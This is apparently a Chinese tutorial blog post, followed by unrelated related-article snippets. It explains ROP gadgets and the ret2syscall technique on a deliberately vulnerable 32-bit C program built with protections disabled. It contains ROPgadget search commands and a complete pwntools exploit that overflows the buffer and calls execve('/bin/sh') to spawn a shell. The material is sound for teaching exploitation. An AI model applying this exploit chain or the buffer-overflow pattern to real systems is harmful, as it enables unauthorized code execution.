ropgadgets与ret2syscall技术原理

程序:

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/syscall.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0,str,0x50);
}
int main()
{
func();
return 0;
}

很容易看出func存在溢出

liunx上面的系统调用原理

eax 系统调用号
ebx 第一个参数
ecx 第二个参数
edx 第三个参数
esi 第四个参数
edi 第五个参数
int 0x80

我们利用上面的溢出和根据ropgadgets与ret2syscall技术原理去执行execve("/bin/sh",null,null); ,
所以eax就存放execve函数的系统调用号11,ebx存放第一个参数/bin/sh,ecx存放第二个参数null,就是0,edx存放第三个

eax=11 0xb
ebx="/bin/sh"的地址
ecx=0
edx=0

编译

gcc -no-pie -fno-stack-protector -static -m32 -o 7.exe 7.c
gdb 7.exe
start

static:静态编译,这样有指令流序列
在这里插入图片描述

找到溢出点:
在这里插入图片描述
在这里插入图片描述
在44溢出

利用ropgadget找指令地址

利用溢出把函数execve需要的参数压入栈中,压入栈中之后,这个时候我们就需要找指令地址,利用ret、push、pop这些指令把值赋值到相应的寄存器中

ROPgadget --binary ./7.exe --only "pop|ret" | grep "eax"

找指令流中包含pop和ret的,还必须有eax,我们用:0x080aaa06
在这里插入图片描述

ROPgadget --binary ./7.exe --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx"

地址:0x0806f711
在这里插入图片描述

ROPgadget --binary ./7.exe --string "/bin/sh"

/bin/sh地址:0x080ae008
在这里插入图片描述

ROPgadget --binary ./7.exe --only "int"|grep "0x80"

int 0x80地址:0x0804a3d2
在这里插入图片描述

poc和解释

from pwn import *
context(arch="i386",os="linux")
p=process('./7.exe')
offset = 44
add_eax=p32(0x080aaa06)
value_eax=p32(0xb)
add_edx_ecx_ebx=p32(0x0806f711)
value_ebx=p32(0x080ae008)
value_ecx=p32(0)
value_edx=p32(0)
add_int=p32(0x0804a3d2)
payload =offset*'\x90'+add_eax+value_eax+add_edx_ecx_ebx+value_edx+value_ecx+value_ebx+add_int
pid=proc.pidof(p)
print pid
pause()
p.sendline(payload)
p.interactive()

解释一下:
溢出44,所以我们用44个0x90填充,add_eax是pop eax ; ret 这段程序的地址, 当执行func函数的ret语句时会,eip为这个地
执行pop eax ; ret 这两条语句,pop eax,此时栈顶值只要时调用execve函数调用号,我们就成功把调用号复制给eax,eax
所以后面加了value_eax 。
执行完pop eax ,栈顶的值是add_edx_ecx_ebx ,也就是下面程序的地址

pop edx ;
pop ecx ;
pop ebx ;
ret

执行ret,我们到这段程序执行,此时栈顶的值是value_edx ,执行pop edx ; ,value_edx到edx中了,后面指令依次类推,执
栈顶的值是: add_int ,也就是int 0x80 的首地址,执行完ret,我们到这里执行,成功调用execve函数

执行poc,成功:
在这里插入图片描述

总结

这个思想大致是在一个程序中,找出我们需要的语句,然后利用溢出,构造数据,把数据打入栈中·,然后利用pop、push、ret语句,将这些数据传入到相应的寄存器,然后让程序去执行这些语句,相当于我们在
一些语句,让程序不按照原来的步骤执行,去执行我们找出来的语句。
这里面关键的技术是保证堆栈平衡,把参数放到指令流需要的地方。这是ropgadgets技术的精髓

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/379980.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

uboot load address、entry point、 bootm address以及kernel运行地址的意义及联系

按各地址起作用的顺序&#xff0c;uboot引导linux内核启动涉及到以下地址&#xff1a; load address&#xff1a;entry point&#xff1a; 这两个地址是mkimage时指定的bootm address&#xff1a;bootm为uboot的一个命令&#xff0c;以此从address启动kernelkernel运行地址&…

Java——集合(Map集合的两种迭代)

一&#xff0c;Map集合的第一种迭代 Map集合的第一种迭代&#xff0c;通过get(key)方法&#xff0c;根据键去获取值 package com.wsq.map;import java.util.HashMap; import java.util.Iterator; import java.util.Map; import java.util.Set;public class Demo2_Iterator { …

如何使用两个堆栈实现队列_使用两个队列实现堆栈

如何使用两个堆栈实现队列Stack and Queue at a glance... 堆叠和排队一目了然... Stack: 堆栈&#xff1a; The stack is an ordered list where insertion and deletion are done from the same end, top. The last element that entered first is the first one to be del…

接口pk抽象类

作为开发者&#xff0c;谁从来没有陷入过周而复始地争论应该是使用接口还是抽象类&#xff1f;这是一场永无休止的争论&#xff0c;不同阵营的人总是坚定地坚持自己的立场。应当使用接口还是抽象类&#xff1f;对于初学者来说那更是满头雾水。这个问题应该考虑一下几个因素&…

汇编shr命令

右移命令 比如&#xff1a; mov eax,10 shr eax,0x2上面的命令是将eax的值右移两位&#xff0c;怎么左移呢&#xff1f;首先将eax的值转为二进制10------》1010&#xff0c;然后右移两位变成10&#xff0c;所以执行为shr命令&#xff0c;eax的值为十进制的2

iBatis入门和开发环境搭建

iBatis 的优缺点&#xff1a; 优点&#xff1a; 1、 减少代码量&#xff0c;简单&#xff1b; 2、 性能增强&#xff1b; 3、 Sql 语句与程序代码分离&#xff1b; 4、 增强了移植性&#xff1b; 缺点&#xff1a; 1、 和Hibernate 相比&#xff0c;sql 需要自己写&#x…

Python | 程序以字符串长度打印单词

Given a string and we have to split the string into words and also print the length of the each word in Python. 给定一个字符串&#xff0c;我们必须将字符串拆分为单词&#xff0c;并在Python中打印每个单词的长度。 Example: 例&#xff1a; Input:str "Hell…

Java——递归练习

#练习一&#xff1a;从键盘接收一个文件夹路径&#xff0c;统计该文件夹大小 ###分析&#xff1a; ####每句话相当与每一个要求&#xff0c;每一个要求用一个方法去实现 第一个方法 * getDir()* 第一个要求&#xff1a;从键盘接收一个文件夹路径* 1&#xff0c;创建键盘录入对…

C# 里怎样得到当前执行的函数名,当前代码行,源代码文件名。

得到函数名&#xff1a; System.Diagnostics.StackTrace st new System.Diagnostics.StackTrace(); this.Text st.GetFrame(0).ToString(); 得到代码行&#xff0c;源代码文件名&#xff1a; StackTrace st new StackTrace(new StackFrame(true)); Console…

PHP中单引号和双引号的区别

0x01 单引号 单引号里面的内容不会被解释&#xff0c;不管什么内容&#xff0c;都当做字符串处理 <?php$abc1234; $stradc$abc; echo $str;输出 0x02 双引号 双引号里面的内容会被解释&#xff0c;像一些换行&#xff08;\n)、数据元素等都会被解释 <?php$abc1234;…

Eclipse 代码提示无效的解决方法

代码提示一般有两种形势1、点提示无效经常打一个点就能调出该对象可选的方法列表。哪天不灵了&#xff0c;可以这样解决&#xff1a;window->Preferences->Java->Editor->Content Assist->Advanced 上面的选项卡Select the proposal kinds contained in the de…

getdate 日期间隔_日期getDate()方法以及JavaScript中的示例

getdate 日期间隔JavaScript Date getDate()方法 (JavaScript Date getDate() method) getDate() method is a Dates class method and it is used to get the current day of the month. getDate()方法是Date的类方法&#xff0c;用于获取当月的当前日期。 It accepts nothin…

关闭页面时执行“退出”的解决方案

在有些应用中我们需要实时的更新站点用户是否在线的状态。比如一些论坛里的在线成员实时显示&#xff0c;或基于网页的聊天、会议系统等。这种情况下&#xff0c;如果用户点击“退出”按钮或链接&#xff0c;我们将之行一系列后台操作&#xff0c;将该用户标识成off line状态&a…

Java——多线程实现的三种方式

创建新执行线程有三种方法。 第一种方法是将类声明为 Thread 的子类。该子类应重写 Thread 类的 run 方法。接下来可以分配并启动该子类的实例。 例如&#xff0c;计算大于某一规定值的质数的线程可以写成&#xff1a; class PrimeThread extends Thread {long minPrime;Pri…

python网络编程---TCP客户端

0x01 环境 python2、 pycharm 0x02 程序 # -*- coding:UTF-8 -*- import sockettarget_hostwww.baidu.com tarfet_port80target_hostlocalhost target_port3345 dataABCDEF# 创建一个socket对象 client socket.socket(socket.AF_INET,socket.SOCK_STREAM) # 连接客户端 clien…

c#枚举数字转枚举_C#枚举能力问题和解答 套装4

c#枚举数字转枚举1) What is the correct output of given code snippets in C#.NET? using System;class program{enum emp_salary : int{emp1 10000,emp2 15000,emp4 20000}static void Main(string[] args){int sal (int)emp_salary.emp2;Console.WriteLine(sal);}}100…

Java——匿名内部类实现线程的两种方式

package com.yy.thread;public class Demo4_Thread {public static void main(String[] args) {demo1(); //匿名内部类&#xff0c;第一种&#xff0c;继承Threaddemo2(); //匿名内部类&#xff0c;第二种&#xff0c;实现Runnable接口 }private static void…

zlib1.2.5的编译

zlib1.2.5没有了1.2.4的vc6工程&#xff0c;只好使用命令行编译。通过win32/Makefile.msc发现有4种编译方式&#xff0c;如下&#xff1a;# Usage:# nmake -f win32/Makefile.msc (standard build)# nmake -f win32/Makefile.msc LOC-DFOO …

python网络编程--UDP客户端

0x01 环境 python、pycharm 0x02 程序 # -*- coding:utf-8 -*-import sockettarget_host127.0.0.1 target_part80#创建一个socket对象 client socket.socket(socket.AF_INET,socket.SOCK_DGRAM)#发送一些数据 client.sendto(AAAAAA,(target_host,target_part))#接收到的消息 …

window.open参数和技巧

【1、最基本的弹出窗口代码】 <SCRIPT LANGUAGE"javascript"> <!-- window.open (page.html) --> </SCRIPT> 因为着是一段javascripts代码&#xff0c;所以它们应该放在<SCRIPT LANGUAGE"javascript">标签和</script>之间。…